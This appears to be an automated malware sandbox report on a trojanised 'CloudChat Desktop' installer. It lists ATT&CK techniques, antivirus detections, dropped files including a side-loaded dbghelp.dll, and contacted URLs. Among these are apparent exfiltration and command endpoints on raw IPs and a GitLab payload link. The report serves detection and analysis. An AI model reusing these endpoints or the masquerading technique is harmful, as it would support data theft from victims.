Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	131 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	2 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
LIccs3x2LZ.exe	53%	Virustotal		Browse
LIccs3x2LZ.exe	37%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI71322\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f	17%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_ARC4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_Salsa20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_chacha20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_pkcs1_decode.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_aesni.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_arc2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_blowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cast.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cbc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_cfb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ctr.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_des.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_des3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ecb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_eksblowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ocb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Cipher\_raw_ofb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_BLAKE2b.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_BLAKE2s.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_MD2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_MD4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_MD5.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_RIPEMD160.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA1.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA224.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA256.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA384.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_SHA512.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_clmul.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_ghash_portable.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_keccak.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Hash\_poly1305.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Math\_modexp.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Protocol\_scrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_ec_ws.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_ed25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_ed448.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\PublicKey\_x25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_cpuid_c.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\Crypto\Util\_strxor.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\python38.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\pywin32_system32\pywintypes38.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI71322\win32\win32crypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-4QOV2.tmp\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-L4TEK.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\CloudChat Desktop\Updater.exe (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\CloudChat Desktop\dbghelp.dll (copy)	8%	ReversingLabs
C:\Users\user\AppData\Roaming\CloudChat Desktop\is-7GS9C.tmp	8%	ReversingLabs
C:\Users\user\AppData\Roaming\CloudChat Desktop\is-BG1K1.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\CloudChat Desktop\is-CGK3C.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\CloudChat Desktop\is-TSCLB.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\CloudChat Desktop\unins000.exe (copy)	0%	ReversingLabs
C:\Users\user\Desktop\84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe	17%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
www.cloudchat.com	0%	Virustotal	Browse
gitlab.com	0%	Virustotal	Browse
httpbin.org	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://www.remobjects.com/ps	0%	URL Reputation	safe
https://www.innosetup.com/	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://httpbin.org/get	1%	Virustotal		Browse
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	0%	Virustotal		Browse
http://tools.ietf.org/html/rfc5869	0%	Virustotal		Browse
https://core.CloudChat.org/api	0%	Virustotal		Browse
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-108r1.pdf	0%	Virustotal		Browse
http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html	0%	Virustotal		Browse
http://www.phreedom.org/md5)08:27	1%	Virustotal		Browse
http://www.lysator.liu.se/~alla/dia/	0%	Virustotal		Browse
https://telesco.pe/	0%	Virustotal		Browse
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	0%	Virustotal		Browse
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	0%	Virustotal		Browse
https://github.com/mhammond/pywin32	0%	Virustotal		Browse
https://cc.mom/	0%	Virustotal		Browse
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	0%	Virustotal		Browse
https://www.cloudchat.com	0%	Virustotal		Browse
http://www.python.org/download/releases/2.3/mro/.	0%	Virustotal		Browse
http://www.gribuser.ru/xml/fictionbook/2.0	0%	Virustotal		Browse
https://twitter.com/hashtag/	0%	Virustotal		Browse
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	0%	Virustotal		Browse
http://www.cc.mom/cloudchat.dog/addstickers/invalid	0%	Virustotal		Browse
https://github.com/telegramdesktop/tdesktop/blob/master/LICENSE	0%	Virustotal		Browse
http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlLicensed	0%	Virustotal		Browse
http://www.abisource.com/awml.dtd	0%	Virustotal		Browse
http://www.freedesktop.org/standards/shared-mime-info	0%	Virustotal		Browse
https://telegram.org/	0%	Virustotal		Browse
https://maps.google.com/maps?q=	0%	Virustotal		Browse
http://185.196.8.119:50000/upload	1%	Virustotal		Browse
http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/eax/eax-spec.pdf	0%	Virustotal		Browse
http://bugreports.qt.io/	0%	Virustotal		Browse
http://tools.ietf.org/html/rfc5297	0%	Virustotal		Browse
http://tools.ietf.org/html/rfc4880	0%	Virustotal		Browse
http://www.python.org/dev/peps/pep-0205/	0%	Virustotal		Browse
http://www.opengis.net/gml/3.2	0%	Virustotal		Browse
https://tools.ietf.org/html/rfc3610	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.cloudchat.com	188.114.97.3	true	false	0%, Virustotal, Browse	unknown
gitlab.com	172.65.251.78	true	false	0%, Virustotal, Browse	unknown
httpbin.org	23.21.73.249	true	false	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://httpbin.org/get	false	1%, Virustotal, Browse	unknown
http://185.196.8.119:50000/upload	false	1%, Virustotal, Browse	unknown
https://gitlab.com/deepchat2019/flsajfascol/raw/master/ajdioafd1	false		unknown
http://185.196.10.235:50001/download?name=user-PC	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	LIccs3x2LZ.exe, 00000003.00000003.2138153552.000002BEB00DA000.00000004.00000020.00020000.00000000.sdmp, 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe, 00000007.00000000.2140792006.0000000000391000.00000020.00000001.01000000.00000020.sdmp	false	0%, Virustotal, Browse	unknown
https://www.cloudchat.com/Ah	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe, 00000007.00000003.2379739469.0000000003106000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-108r1.pdf	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.phreedom.org/md5)08:27	CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp	false	1%, Virustotal, Browse	unknown
https://telesco.pe/	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://tools.ietf.org/html/rfc5869	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118294025.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://core.CloudChat.org/api	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false	0%, Virustotal, Browse	unknown
http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html	LIccs3x2LZ.exe, 00000003.00000003.2118989666.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118188910.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144568975.000002BEAFB1F000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118880035.000002BEAFB03000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142212450.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141643621.000002BEAFB21000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141440196.000002BEAFB1D000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118459009.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118099413.000002BEAFAF6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141406242.000002BEAFAEB000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2140796213.000002BEAFB02000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2118763898.000002BEAFAFD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144314894.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142952816.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144592010.000002BEAFB24000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142034829.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117459413.000002BEAFAF5000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141287759.000002BEAFB06000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2117567204.000002BEAFB05000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/mhammond/pywin32	LIccs3x2LZ.exe, LIccs3x2LZ.exe, 00000003.00000002.2148994086.00007FF8B8B11000.00000002.00000001.01000000.0000000C.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2148695163.00007FF8B7E63000.00000002.00000001.01000000.0000000D.sdmp	false	0%, Virustotal, Browse	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	LIccs3x2LZ.exe, 00000003.00000002.2144107071.000002BEAF870000.00000004.00001000.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.cloudchat.com	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.lysator.liu.se/~alla/dia/	CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false	0%, Virustotal, Browse	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144073359.000002BEAF6F0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://cc.mom/	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143654203.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141222789.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141515873.000002BEAD9B1000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://crl3.digi	LIccs3x2LZ.exe, 00000000.00000003.2097709991.00000266D2F7C000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000000.00000003.2096259087.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.python.org/download/releases/2.3/mro/.	LIccs3x2LZ.exe, 00000003.00000002.2144659289.000002BEAFB40000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	LIccs3x2LZ.exe, 00000003.00000003.2143110824.000002BEAD9EA000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD9BD000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2109049003.000002BEAD9C7000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141161174.000002BEAD9D6000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9EA000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108312315.000002BEAD9BE000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2108044891.000002BEAD970000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2143712398.000002BEAD9EB000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://bugreports.qt.io/	CloudChat.exe, 0000000C.00000000.2360531911.0000000002791000.00000002.00000001.01000000.00000025.sdmp	false	0%, Virustotal, Browse	unknown
http://www.cc.mom/cloudchat.dog/addstickers/invalid	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.gribuser.ru/xml/fictionbook/2.0	CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false	0%, Virustotal, Browse	unknown
https://cloudchat.comUpdate	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://twitter.com/hashtag/	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/telegramdesktop/tdesktop/blob/master/LICENSE	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false	0%, Virustotal, Browse	unknown
http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlLicensed	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false	0%, Virustotal, Browse	unknown
https://telegram.org/	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	LIccs3x2LZ.exe, 00000000.00000003.2102329555.00000266D2F72000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.abisource.com/awml.dtd	CloudChat.exe, 0000000C.00000003.2402113784.000000000DCE7000.00000004.00000020.00020000.00000000.sdmp, CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false	0%, Virustotal, Browse	unknown
https://www.remobjects.com/ps	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe, 00000007.00000003.2143128183.0000000003700000.00000004.00001000.00020000.00000000.sdmp, 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe, 00000007.00000003.2144119587.000000007F51B000.00000004.00001000.00020000.00000000.sdmp, 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000000.2146137782.0000000000711000.00000020.00000001.01000000.00000021.sdmp	false	URL Reputation: safe	unknown
http://www.freedesktop.org/standards/shared-mime-info	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false	0%, Virustotal, Browse	unknown
http://www.opengis.net/gml/3.2	CloudChat.exe, 0000000C.00000000.2360531911.0000000002A3B000.00000002.00000001.01000000.00000025.sdmp	false	0%, Virustotal, Browse	unknown
https://www.innosetup.com/	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe, 00000007.00000003.2143128183.0000000003700000.00000004.00001000.00020000.00000000.sdmp, 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.exe, 00000007.00000003.2144119587.000000007F51B000.00000004.00001000.00020000.00000000.sdmp, 84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000000.2146137782.0000000000711000.00000020.00000001.01000000.00000021.sdmp	false	URL Reputation: safe	unknown
http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/eax/eax-spec.pdf	LIccs3x2LZ.exe, 00000003.00000003.2141119953.000002BEAFAD4000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141314817.000002BEAFAD9000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141406242.000002BEAFAEB000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000002.2144314894.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142952816.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2142034829.000002BEAFAC8000.00000004.00000020.00020000.00000000.sdmp, LIccs3x2LZ.exe, 00000003.00000003.2141681385.000002BEAFAF3000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://maps.google.com/maps?q=	84a15bc948acf97f686e27b33874e08bd04d6ce22b9112c4f7d4432850b6e24f.tmp, 00000009.00000003.2363462668.00000000060C0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
